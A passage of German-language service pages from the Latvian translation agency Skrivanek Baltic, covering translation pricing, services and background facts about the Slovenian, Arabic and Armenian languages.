Bearbeitung, die Korrektur und eventuelle andere vom Kunden gewählte Dienstleistungen (notarielle Beglaubigung und andere Dienstleistungen). IST DIE PREISLISTE FÜR DIE ÜBERSETZUNG VERFÜGBAR? Um einen Preis speziell für Sie zu erstellen, warten wir darauf, Ihr zu übersetzendes Material per E-Mail zu erhalten. Die Preisliste für Übersetzungen, Dolmetschen, Lokalisierungen und Adaptionen aus dem und ins Slowenische ist in unseren Kundenverträgen enthalten. Die Projektmanager unseres Übersetzungsbüros informieren Sie vor Beginn eines Übersetzungsprojekts ausführlich über den Preis der Übersetzung. Der Preis für jeden Auftrag wird separat nach der aktuellen Preisliste von Skrivanek festgelegt und richtet sich nach der Anzahl der Wörter im Ausgangstext, der Textverdoppelung in der Übersetzung und anderen Merkmalen. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Slowenische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen für die slowenische Sprache umfassen: Dokumentenübersetzung Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Slowenisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE SLOWENISCHE SPRACHE Die slowenische Sprache(slovenski jezik oder slovenščina) ist eine slawische Sprache aus der Familie der indogermanischen Sprachen. Sie ist die Amtssprache Sloweniens und auch eine der offiziellen Arbeitssprachen der Europäischen Union. Die slowenische Sprache gehört zur Gruppe der südslawischen Sprachen und ist verwandt mit der serbokroatischen Sprache. Interessant ist, dass in einigen Regionen Sloweniens, die näher an den Grenzen zu den Nachbarländern liegen, auch Ungarisch und Italienisch gesprochen wird. Oft wird das Slowenische als die reichste Sprache des slawischen Zweigs bezeichnet, wenn es zu Dialekten mit unterschiedlichen Verständigungsniveaus kommt. Es gibt sieben Dialekte, die in 50 Unterdialekte unterteilt sind. Die Slowenen haben nicht einfach so das Sprichwort: „Jedes Dorf hat seine eigene Stimme“(Vsaka vas ima svoj glas), was die Vielfalt der Dialekte sehr gut widerspiegelt. Auch wenn die Aussprache zwischen den Dialekten sehr unterschiedlich ist, stellen diese Unterschiede kein Problem für die Einwohner anderer Regionen dar, sich gegenseitig zu verstehen. Die slowenische Standardsprache wird hauptsächlich bei öffentlichen Präsentationen oder offiziellen Veranstaltungen verwendet. Von Historikern gefundene Schriftfragmente zeigen, dass sich die slowenische Sprache um das10. Jahrhundert zu formen begann. Die ersten 50 Bücher in slowenischer Sprache wurden bereits im 16. Jahrhundert geschrieben. Dazu gehören das erste Grammatikbuch und eine Übersetzung der Bibel. Vom Mittelalter bis zum Fall der österreichisch-ungarischen Monarchie 1918 wurde die deutsche Sprache von Personen mit höherem Status und die slowenische Sprache von einfachen Bürgern verwendet. Während dieser Zeit hatte die deutsche Sprache einen starken Einfluss auf die slowenische Sprache und auch heute noch weist die gesprochene Sprache viele Germanismen auf. Während des Zweiten Weltkriegs war Slowenien von Deutschen, Italienern, Ungarn und Kroaten besetzt. Mit der Besetzung kam auch das Verbot, die slowenische Sprache in Schulen zu sprechen. Einige Besetzer verboten auch den Gebrauch der slowenischen Sprache in allen öffentlichen Räumen. Wenn Schüler in der Schule beim Gebrauch ihrer Muttersprache erwischt wurden, wurden sie mit einem Holzstock oder einem Lineal geschlagen oder gezwungen, sich auf einen Haufen Mais zu knien. In dieser Zeit wurden Tausende von slowenischen Büchern vernichtet, was dem slowenischen Erbe irreparablen Schaden zufügte. Nach dem Zweiten Weltkrieg wurde Slowenien Teil Jugoslawiens, und Slowenisch wurde zu einer der Amtssprachen des Landes. Es wurde fast im gesamten gesellschaftlichen Leben verwendet, außer in der jugoslawischen Armee, wo nur Serbokroatisch gesprochen wurde. 1991 erlangte Slowenien seine Unabhängigkeit und Slowenisch wurde zur Amtssprache, die nun in allen Bereichen verwendet wird. DAS SLOWENISCHE ALPHABET Das slowenische Alphabet wird für die slowenische Schriftsprache verwendet. Es besteht aus 25 Buchstaben und basiert auf dem lateinischen Alphabet mit 3 zusätzlichen Buchstaben: Č, Š, Ž. In der Schrift werden ebenfalls drei Digraphen verwendet: NJ, LJ und DŽ. Die Gesamtzahl der Grapheme im geschriebenen Slowenisch beträgt also 28. Jeder Buchstabe, einschließlich der Digraphen, hat seine eigene Entsprechung im Kyrillischen. WIE SCHWIERIG IST DIE SLOWENISCHE SPRACHE? Die slowenische Sprache gilt nicht als schwere Sprache, da sie mit lateinischen Buchstaben geschrieben wird. Mit Ausnahme einiger Buchstaben, die es in vielen anderen Sprachen nicht gibt (č, ž, š), spricht man das Texte wie geschrieben aus. Die Slowenen neigen auch dazu, Wörter ohne Vokale zu verwenden, die auf den ersten Blick schwer auszusprechen sind, z. B. Trst (Triest), Črt (männlicher Personenname) usw. Auch die Grammatik ist recht einfach, denn die Reihenfolge in einem Satz ist logisch und leicht zu verstehen. Am besten lernt man Slowenisch, wenn man sich in einer Umgebung aufhält, in der es die Muttersprache oder die täglich gesprochene Sprache ist. Methodische Materialien zum Erlernen der slowenischen Sprache sind nicht leicht zugänglich, aber das Erlernen der slowenischen Sprache ist einfacher, wenn die russische Sprache bereits beherrscht wird. WO UND WIE VIELE MENSCHEN SPRECHEN SLOWENISCH? Slowenisch wird von etwa 2. 5 Millionen Menschen auf der ganzen Welt, vor allem in Slowenien, aber auch in Italien (etwa 90 000), Österreich (25 000) und in Istrien im Westen Kroatiens, das an Slowenien grenzt, sowie in den größten kroatischen Städten Rijeka und Zagreb (11 800-13 100), im Südwesten Ungarns (3000-5000), in Serbien (5000) und in der slowenischen Diaspora in ganz Europa und im Rest der Welt (etwa 300 000), insbesondere in den Vereinigten Staaten von Amerika (vor allem in Ohio, wo etwa 3400 Sprecher leben), in Kanada, Argentinien, Australien und Südafrika gesprochen. DOLMETSCHER UND ÜBERSETZER FÜR DIE SLOWENISCHE SPRACHE Das Übersetzungsbüro Skrivanek Baltic bietet schriftliche Übersetzungen allgemeiner Dokumente, schwierige wissenschaftliche Texte und auch beglaubigte Übersetzungen an. Wir bieten auch das Korrekturlesen und die stilistische Verbesserung von Texten in slowenischer Sprache an und, wenn nötig, wird auch die Bearbeitung und Überprüfung der Terminologie durchgeführt. Für Geschäftskunden übersetzen wir am häufigsten aus der bzw. in die slowenische Sprache E-Commerce-Inhalte und Homepages, Werbeslogans, Marketingmaterialien, Produktetiketten in Übereinstimmung mit den Anforderungen der EU-Normen. Für Privatpersonen übersetzen wir Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. DIE SLOWENISCHE SPRACHE IN DER GESCHÄFTSWELT Weltweit ist Slowenisch als Geschäftssprache eher nicht verbreitet. Es wird hauptsächlich nur in Slowenien gesprochen. Seit einigen Jahren tendierten man in Slowenien dazu, ausländische Geschäftsbeziehungen aufzubauen. Allerdings werden Englisch und Deutsch als gesprochene Sprache verwendet. SLOWENEN IN LETTLAND Slowenische Studierende halten sich in der Regel im Rahmen von Austauschprogrammen vorübergehend in Lettland auf. Die Universität von Lettland und die Hochschule Vzdeme für angewandte Wissenschaften arbeiten mit den slowenischen Hochschuleinrichtungen zusammen. Die lettische Akademie der Wissenschaften und die slowenische Akademie der Wissenschaften stehen in Kontakt. Regelmäßig wird im Bereich der Kultur zusammengearbeitet. Mehrere slowenische Schriftsteller haben im Internationalen Schriftsteller- und Übersetzerhaus in Ventspils gewohnt (Lenart Zajc, Damijan Šinigoj, Maja Gal Štromar und Gašper Malej). Es gab verschiedene Ausstellungen slowenischer Künstler und auch Konzerte von zusammenarbeitenden slowenischen und lettischen Musikern. Es gibt eine rege Zusammenarbeit in den Bereichen Verkehr und Verteidigung. Auch slowenische Soldaten haben mit der Ausbildung in den Kampfeinheiten der Streitkräfte begonnen. Interessant ist auch, dass angesichts der wachsenden Herausforderungen für kleine Sprachen im digitalen Zeitalter lettische und slowenische Forscher in Anwesenheit der Präsidenten beider Länder am 28. September 2021 ein national bedeutendes Abkommen über die Zusammenarbeit im Bereich der Sprachtechnologie unterzeichnet haben. Die Zusammenarbeit zwischen den beiden Ländern durch den Austausch von Erfahrungen, Wissen und Technologien sowie die Teilnahme an gemeinsamen Forschungsprojekten wird die lettische und slowenische Sprache in der digitalen Welt stärken. Seit dem 28. August 2017 vertritt die polnische Botschaft Slowenien in Lettland. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM UND INS SLOWENISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Slowenisch; Slowenisch nach Lettisch; Estnisch nach Slowenisch; Slowenisch nach Estnisch; Litauisch nach Slowenisch; Slowenisch nach Litauisch; Russisch nach Slowenisch; Slowenisch nach Russisch; Tschechisch nach Slowenisch; Slowenisch nach Tschechisch; Polnisch nach Slowenisch; Slowenisch nach Polnisch; Ukrainisch nach Slowenisch; Slowenisch nach Ukrainisch; Slowenisch nach Spanisch; Spanisch nach Slowenisch; Deutsch nach Slowenisch; Slowenisch nach Deutsch; Italienisch nach Slowenisch; Slowenisch nach Italienisch; Französisch nach Slowenisch; Slowenisch nach Französisch; Dänisch nach Slowenisch; Slowenisch nach Dänisch; Norwegisch nach Slowenisch; Slowenisch nach Norwegisch; Schwedisch nach Slowenisch; Slowenisch nach Schwedisch; Finnisch nach Slowenisch; Slowenisch nach Finnisch; Englisch nach Slowenisch; Slowenisch nach Englisch und andere. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM UND INS SLOWENISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Slowenisch; Slowenisch nach Lettisch; Estnisch nach Slowenisch; Slowenisch nach Estnisch; Litauisch nach Slowenisch; Slowenisch nach Litauisch; Russisch nach Slowenisch; Slowenisch nach Russisch; Tschechisch nach Slowenisch; Slowenisch nach Tschechisch; Polnisch nach Slowenisch; Slowenisch nach Polnisch; Ukrainisch nach Slowenisch; Slowenisch nach Ukrainisch; Slowenisch nach Spanisch; Spanisch nach Slowenisch; Deutsch nach Slowenisch; Slowenisch nach Deutsch; Italienisch nach Slowenisch; Slowenisch nach Italienisch; Französisch nach Slowenisch; Slowenisch nach Französisch; Dänisch nach Slowenisch; Slowenisch nach Dänisch; Norwegisch nach Slowenisch; Slowenisch nach Norwegisch; Schwedisch nach Slowenisch; Slowenisch nach Schwedisch; Finnisch nach Slowenisch; Slowenisch nach Finnisch; Englisch nach Slowenisch; Slowenisch nach Englisch und andere. --- > Allgemeine und fachspezifische Übersetzungen in Arabisch. Dolmetscher für Arabisch, individuelle Sprachkurse. Kontaktieren Sie uns! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-arabu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS ARABISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS ARABISCHE? Der Preis für einen Auftrag wird individuell festgelegt, da er sich aus mehreren wichtigen Komponenten zusammensetzt: der Abgabefrist, den fachlichen Besonderheiten, der Verfügbarkeit von Terminologie, der Bearbeitung, dem Korrekturlesen und der Formatierung von Zeichnungen, Bildern und Grafiken sowie den vom Kunden bestellten Zusatzleistungen (notarielle Bestätigung usw. ). GIBT ES EINE PREISLISTE? Selbstverständlich ist die Preisliste für Übersetzungen, Dolmetschen, Lokalisierungen und Adaptionen aus dem und ins Arabische ein fester Bestandteil unsere Kundenverträge. Die Projektmanager von Skrivanek erstellen vor Beginn eines jeden Übersetzungsprojekts eine genaue Preisliste. Der Preis für jeden Auftrag wird individuell nach der aktuellen Preisliste von Skrivanek festgelegt und richtet sich nach der Anzahl der Wörter im Ausgangstext, den Wortwiederholungen und anderen Parametern. Wir freuen uns auf die Zusendung Ihrer übersetzten Unterlagen per E-Mail um den Preis zu berechnen. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Arabische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in arabischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung in Arabisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE ARABISCHE SPRACHE Arabisch ist die heilige Sprache des Islam. In dieser Sprache wurde nicht nur der Koran niedergeschrieben, sondern sie wird auch heute noch bei den meisten religiösen Ritualen der Muslime verwendet. Mehr als 1300 Jahre lang wurde sie als Lingua Franca der muslimischen intellektuellen Elite verwendet. Arabisch ist die größte Sprache der semitischen Familie, gemessen an der Zahl der Sprecher. Heutzutage hat die arabische Sprache viele Dialekte und Unterdialekte. Traditionell werden die arabischen Dialekte in die östliche und die westliche Dialektgruppe unterteilt. Einige der häufigsten Dialekte in der östlichen Dialektgruppe sind beispielsweise der ägyptische, syrische, irakische Dialekt und so weiter. In der westlichen Dialektgruppe sind es der nordafrikanische oder maghrebinische und der hassanitische Dialekt. Die moderne arabische Literatursprache hat sich seit dem 7. Jahrhundert nicht verändert. In dieser Sprache wird gelesen und geschrieben, sie wird als Schulsprache verwendet, aber nicht gesprochen. Heutzutage verwenden die Medien die arabische Literatursprache als ihre Hauptsprache. In der alltäglichen Kommunikation verwenden die Einheimischen ihre Dialekte. Sie sind so unterschiedlich, dass Menschen aus verschiedenen Ländern oft die arabische Schriftsprache verwenden, die sie in der Schule gelernt haben, um miteinander zu kommunizieren. Und vor allem haben die arabischen Sprachdialekte keine schriftliche Form. Im Mittelalter war das Arabische die wichtigste Kultursprache, insbesondere in Bereichen wie Mathematik, Astronomie und Philosophie. Folglich gibt es in den europäischen Sprachen viele Entlehnungen aus dem Arabischen. Die Kalligraphie genießt in der islamischen Welt nach wie vor ein hohes Ansehen. Sie gilt als eine der wichtigsten Kunstformen. Da der Islam die Darstellung von Lebewesen grundsätzlich verbietet, ist die Kalligraphie eine der wichtigsten möglichen künstlerischen Ausdrucksformen. Viele Entdeckungen der Chinesen und anderer Nationen wurden in Europa erst im Mittelalter bekannt, vor allem durch arabische Kaufleute. Der Kompass wurde von arabischen Kaufleuten aus China nach Europa gebracht. Es ist bekannt, dass der Kompass im 12. Jahrhundert zur Überquerung des Mittelmeers verwendet wurde. Ebenfalls im 12. Jahrhundert führten arabische und jüdische Kaufleute, die aus China kamen, die Spanier in die Kunst der Papierherstellung ein. Arabisch ist eine der sechs UN-Amtssprachen. DAS ARABISCHE ALPHABET Arabisch ist eine der schwierigsten Sprachen der Welt. Die arabische Sprache wird mit dem arabischen Alphabet geschrieben, das sich aus der aramäischen Schrift entwickelt hat. Im arabischen Alphabet wird, wie in anderen semitischen Alphabeten, von rechts nach links geschrieben. Es gibt auch verschiedene Schreibstile, der beliebteste wird von Verlagen und Drehbüchern verwendet. Im arabischen Alphabet gibt es 28 Buchstaben für Konsonanten und lange Vokale. Je nachdem, wo der Buchstabe steht, ob am Anfang, in der Mitte oder am Ende des Wortes oder auch nur allein, kann er in 4 verschiedenen Formen geschrieben werden. Alle Buchstaben sind handschriftlich und gedruckt in Kursivschrift geschrieben. Auf diese Weise verschmilzt jeder Buchstabe mit dem nächsten zu einem Wort. Es gibt keine Groß- und Kleinbuchstaben. Nachdem sich die arabische Schrift im 8. Jahrhundert stabilisiert hatte, bildeten sich mehrere Schreibstile heraus. Es wurden Schreibstile für Bücher und andere schriftliche Werke sowie dekorative und monumentale Kunst entwickelt. WO UND WIE VIELE MENSCHEN SPRECHEN ARABISCH? Arabisch ist die am zweithäufigsten gesprochene Sprache der Welt. Sie ist die Muttersprache von rund 300 Millionen Menschen auf der ganzen Welt, die in Gebieten von Westasien bis Nordafrika und vom Persischen Golf bis zum Atlantik leben. In den meisten Teilen Nordafrikas und in Saudi-Arabien kann man sich auf Arabisch verständigen. Es wird von der absoluten Mehrheit der Bevölkerung in den Vereinigten Arabischen Emiraten, Kuwait, Katar, Bahrain, Oman, Jemen, Jordanien, Syrien, Irak, Libanon, Ägypten, Libyen, Algerien, Tunesien, Marokko, Mauretanien und den palästinensischen Gebieten sowie von der Mehrheit der sudanesischen Bevölkerung gesprochen; bedeutende arabische Minderheiten leben in Israel, Iran (Khuzestan), Tansania (Sansibar), der Türkei (Mardin), Dschibuti; unter den europäischen Ländern Frankreich, Spanien und das Vereinigte Königreich. Arabisch ist die zweite Amtssprache im Tschad, in Dschibuti, Somalia und auf den Komoren. DOLMETSCHER UND ÜBERSETZER FÜR DIE ARABISCHE SPRACHE Das Übersetzungsbüro Skrivanek ist seit mehr als 25 Jahren auf dem Markt für Sprachdienstleistungen in Lettland und im Baltikum tätig. Unser Team von professionellen Übersetzern, Dolmetschern und Linguisten hilft Ihnen jederzeit mit schriftlichen Übersetzungen von Standarddokumenten, beglaubigten Übersetzungen und Konsekutivdolmetschen von Gerichtsverhandlungen oder wichtigen Geschäftsverhandlungen. Falls erforderlich, übernimmt Skrivanek auch das Korrekturlesen und die stilistische Verbesserung arabischer Texte, das Lektorat und überprüft die Terminologie. Unsere Fachleute für das Arabische beraten Sie gerne über kulturelle Unterschiede, Geschäftsetikette sowie die Geschichte und kulturellen Besonderheiten der von Ihnen gewählten Region oder des Landes. Für Geschäftskunden übersetzen wir vor allem technische Dokumentationen, Gerichtsurteile, Inhalte für den elektronischen Geschäftsverkehr und Websites ins Arabische, adaptieren und lokalisieren sie. Für Privatpersonen übersetzen wir Gerichtsurteile, Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Ausbildungsdokumente, Pässe usw. ARABISCHE SPRACHE IN DER GESCHÄFTSWELT Araber sind in der ganzen Welt seit langem als erfolgreiche und engagierte Kaufleute bekannt. Bereits im 8. Jahrhundert förderten arabische Händler den internationalen Handel und den Austausch von natürlichen Ressourcen und kulturellen Schätzen zwischen China, Indien und Europa. In der heutigen Geschäftswelt konnten diese Fähigkeiten aufrecht gehalten werden und die arabische Geschäftswelt ist für alle Unternehmer interessant. Dies bietet enorme Geschäftsmöglichkeiten und Ressourcen. In immer mehr Unternehmen wird ein arabischsprachiger Mitarbeiter sehr geschätzt, da er die Zusammenarbeit mit potenziellen Geschäftspartnern erheblich erleichtert. Jeder Araber schätzt einen Ausländer, der zumindest Grundkenntnisse der arabischen Sprache besitzt. ARABISCHE SPRACHE IN LETTLAND In den letzten Jahren hat das Interesse am Studium der arabischen Sprache und Kultur in Lettland zugenommen. Sie wurde durch die politischen und wirtschaftlichen Prozesse in Lettland und weltweit sowie durch das breite Spektrum an Reisemöglichkeiten gefördert. In Lettland besteht nach wie vor ein häufiger Mangel an professionellen Arabischsprechern und -übersetzern, an Übersetzern für die Arbeit mit Asylbewerbern und Ausländern in Not, die nur Arabisch sprechen, an Übersetzern in Gerichten und an Übersetzern für geschäftliche Zwecke, da sich immer mehr lettische Unternehmer für Geschäftsmöglichkeiten in den östlichen Ländern interessieren und hochwertige technologische und innovative Dienstleistungen in der Region anbieten. Studium der arabischen Sprache und Kultur an der Universität von Lettland ─ hier können Sie mehr über das Studienprogramm lesen. Das Arabische Kulturzentrum ist auch in Lettland aktiv, und immer mehr Sprachschulen bieten Arabischkurse für Anfänger und Fortgeschrittene an. Das Studium der arabischen Sprache vermittelt den Schülern auch Kenntnisse über die arabische Kultur, Geschichte und weitere faszinierende Informationen über die arabische Welt. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN AUS DEM UND INS ARABISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Arabisch; Arabisch nach Lettisch; Estnisch nach Arabisch; Arabisch nach Estnisch; Litauisch nach Arabisch; Arabisch nach Litauisch; Russisch nach Arabisch; Arabisch nach Russisch; Tschechisch nach Arabisch; Arabisch nach Tschechisch; Polnisch nach Arabisch; Arabisch nach Polnisch; Ukrainisch nach Arabisch; Arabisch nach Ukrainisch; Arabisch nach Spanisch; Spanisch nach Arabisch; Deutsch nach Arabisch; Arabisch nach Deutsch; Italienisch nach Arabisch; Arabisch nach Italienisch; Französisch nach Arabisch; Arabisch nach Französisch; Dänisch nach Arabisch; Arabisch nach Dänisch; Norwegisch nach Arabisch; Arabisch nach Norwegisch; Schwedisch nach Arabisch; Arabisch nach Schwedisch; Finnisch nach Arabisch; Arabisch nach Finnisch; Englisch nach Arabisch; Arabisch nach Englisch und andere. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN AUS DEM UND INS ARABISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Arabisch; Arabisch nach Lettisch; Estnisch nach Arabisch; Arabisch nach Estnisch; Litauisch nach Arabisch; Arabisch nach Litauisch; Russisch nach Arabisch; Arabisch nach Russisch; Tschechisch nach Arabisch; Arabisch nach Tschechisch; Polnisch nach Arabisch; Arabisch nach Polnisch; Ukrainisch nach Arabisch; Arabisch nach Ukrainisch; Arabisch nach Spanisch; Spanisch nach Arabisch; Deutsch nach Arabisch; Arabisch nach Deutsch; Italienisch nach Arabisch; Arabisch nach Italienisch; Französisch nach Arabisch; Arabisch nach Französisch; Dänisch nach Arabisch; Arabisch nach Dänisch; Norwegisch nach Arabisch; Arabisch nach Norwegisch; Schwedisch nach Arabisch; Arabisch nach Schwedisch; Finnisch nach Arabisch; Arabisch nach Finnisch; Englisch nach Arabisch; Arabisch nach Englisch und andere. --- > Allgemeine und fachspezifische Übersetzungen in Armenisch. Dolmetscherdienste und andere Sprachdienstleistungen für Armenisch. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-armenu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS ARMENISCHE WIE VIEL KOSTET DIE ÜBERSETZUNG INS ARMENISCHE? Jeder Auftrag wird einzeln berechnet. Der Preis für die Dienstleistung richtet sich nach vielen Aspekten - der Abgabefrist, den Besonderheiten des Textes, dem Korrekturlesen, der Formatierung sowie den vom Kunden gewünschten Zusatzleistungen wie der notariellen Beglaubigung. GIBT ES EINE PREISLISTE? Ja, die Preisliste für Übersetzungen in die/ aus der armenischen Sprache ist ein fester Bestandteil des Vertrags und der Kunde wird immer vor Beginn eines jeden Übersetzungsprojekts über den Preis der Übersetzung informiert. Die Preise für Übersetzungen werden individuell festgelegt; sie richten sich nach der Art der Übersetzung (schriftlich oder gedolmetscht), der Anzahl der Wörter im Originaltext, der Wiederholung des Textes in der Übersetzung und anderen Parametern. Senden Sie uns einfach das zu übersetzende Material, um ein auf Sie zugeschnittenes Angebot zu erhalten. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Armenische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere armenischen Sprachdienstleistungen umfassen: Dokumentenübersetzung Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung in Armenisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE ARMENISCHE SPRACHE Armenisch ist eine der Sprachen der indogermanischen Familie, die heute von 8 Millionen Menschen auf der Welt gesprochen wird. Die armenische Sprache ist die Nationalsprache in Armenien. Darüber hinaus bezeichnet ein Teil der armenischen Minderheit in Syrien, Libanon, Iran, Irak, Türkei, Jordanien, Israel, Zypern und anderswo Armenisch als ihre Muttersprache. Bis 1990 wurde in armenischen Schulen auf Armenisch und Russisch unterrichtet, doch nach dem Zusammenbruch der UdSSR wurde Armenisch zur Hauptunterrichtssprache und alle anderen Schulen, in denen Russisch unterrichtet wurde, wurden geschlossen. Im Jahr 2010 wurde der Unterricht in russischer Sprache wieder eingeführt. Über die Anfänge der armenischen Sprache gibt es nur 